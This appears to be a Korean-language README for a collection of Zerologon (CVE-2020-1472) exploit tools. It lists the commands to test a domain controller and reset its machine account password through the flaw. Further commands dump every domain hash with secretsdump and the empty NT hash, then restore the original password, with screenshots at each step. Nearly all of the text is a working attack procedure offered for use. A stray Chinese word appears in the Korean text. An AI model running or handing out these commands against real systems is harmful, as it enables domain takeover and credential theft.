Exploit for cve-2020-1472_Tool-collection

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-0XCCCC666-CVE-2020-1472_TOOL-COLLECTION
## 소개 문서

https://www.yuque.com/shamo-vs4ia/vul/ktduf8

## 환경 준비

pip3 install -r requirements.txt

## 취약점 탐지

python3 zerologon_tester.py ad ad_ip

![image.png](https://assets.kitploit.com/production/public/readmes/14388/214aa539bc32e16584753f4cf181a04c518d5b9538da84ecf5594ab1c8e5ea02.png)

## 익스플로잇

python CVE-2020-1472.py AD AD$ adip ![image.png](https://assets.kitploit.com/production/public/readmes/14388/f475dcccf35580965d554cc973e4f8864e60e028300bf9054e769a861805802b.png)

secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'god.org/some-email@example.com' ![image.png](https://assets.kitploit.com/production/public/readmes/14388/1b58244d595574d6fe2f85a74792ace131cf9ab4f115e7579c8c76baf505b80f.png) ![image.png](https://assets.kitploit.com/production/public/readmes/14388/ffe29a40b15a14db56af704b571f5dc1597011275e5f15a34d455cf22a1425ad.png)

모든 해시를 성공적으로 내보냈습니다.

## 해시 조회

이전: secretsdump.py god.org/administrator:Admin12345@ad_ip -just-dc-user 'AD$'

![image.png](https://assets.kitploit.com/production/public/readmes/14388/741e6311e085f2a4c611d8e93eb46886183258d202aeb339aa68786e63f8ef5d.png)

이후: secretsdump.py god.org/administrator:Admin12345@ad_ip -just-dc-user 'AD$'

![image.png](https://assets.kitploit.com/production/public/readmes/14388/b60d457d0cdc82269c342dbadd8b317841a7cfd2c0098187c71bd04d1e7c7bb1.png)

## 비밀번호 복원

python3 reinstall_original_pw.py ad_hostname ad_ip哈希 ![image.png](https://assets.kitploit.com/production/public/readmes/14388/9d5016060613e86f35996469c467eb9839f87bc27efbbba2ecb043ed77ec4889.png)

## 수집 출처

https://github.com/blackarrowsec/redteam-research/tree/master/CVE-2020-1472

https://github.com/risksense/zerologon

https://github.com/VoidSec/CVE-2020-1472

https://github.com/dirkjanm/CVE-2020-1472

https://github.com/SecuraBV/CVE-2020-1472